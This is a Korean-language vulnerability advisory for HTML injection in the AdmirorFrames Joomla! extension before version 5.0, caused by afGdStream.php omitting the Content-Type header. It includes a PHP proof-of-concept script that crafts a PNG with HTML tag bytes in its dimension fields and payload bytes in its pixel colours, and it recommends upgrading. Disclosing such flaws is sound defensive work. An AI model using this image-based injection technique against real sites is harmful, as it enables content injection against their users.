
AdmirorFrames Joomla! 확장 < 5.0 - HTML 인젝션
AdmirorFrames Joomla! 확장 프로그램 < 5.0 - HTML 인젝션
AdmirorFrames Joomla! 확장 프로그램의 afGdStream.php 파일에서 HTML 인젝션이 발생합니다. 이 파일은 이미지 데이터를 전송하기 전에 Content-Type 헤더 값을 설정하지 않습니다. 이로 인해 PHP가 이 헤더의 기본값(text/html)을 전송하게 되며, 이미지 데이터가 HTML 문서로 해석됩니다.
다음은 <s> HTML 태그로 설정된 너비 및 높이 필드를 가진 PNG를 생성하는 PHP 스크립트 예제입니다:
<?php
$_payload="AAA";
if(strlen($_payload)%3!=0){
echo "payload%3==0 !\n"; exit();
}
$_pay_len=strlen($_payload);
echo "LEN: $_pay_len\n";
$width=0x733e; //<s>
$height=0x3c;
$im = imagecreate($width, $height);
$_hex=unpack('H*',$_payload);
$_chunks=str_split($_hex[1], 6);
for($i=0; $i < count($_chunks); $i++){
$_color_chunks=str_split($_chunks[$i], 2);
$color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
imagesetpixel($im,$i,1,$color);
}
imagepng($im,"example.png");
웹 브라우저가 example.png 개념 증명 파일을 렌더링한 결과:
개념 증명
이 문제는 Content-Type 헤더의 기본값을 사용한 데서 발생했습니다. 이 문제는 AdmirorFrames Joomla! 확장 프로그램 버전 5.0에서 수정되었습니다.
< 5.0
AdmirorFrames Joomla! 확장 프로그램을 버전 5.0 이상으로 업데이트하십시오.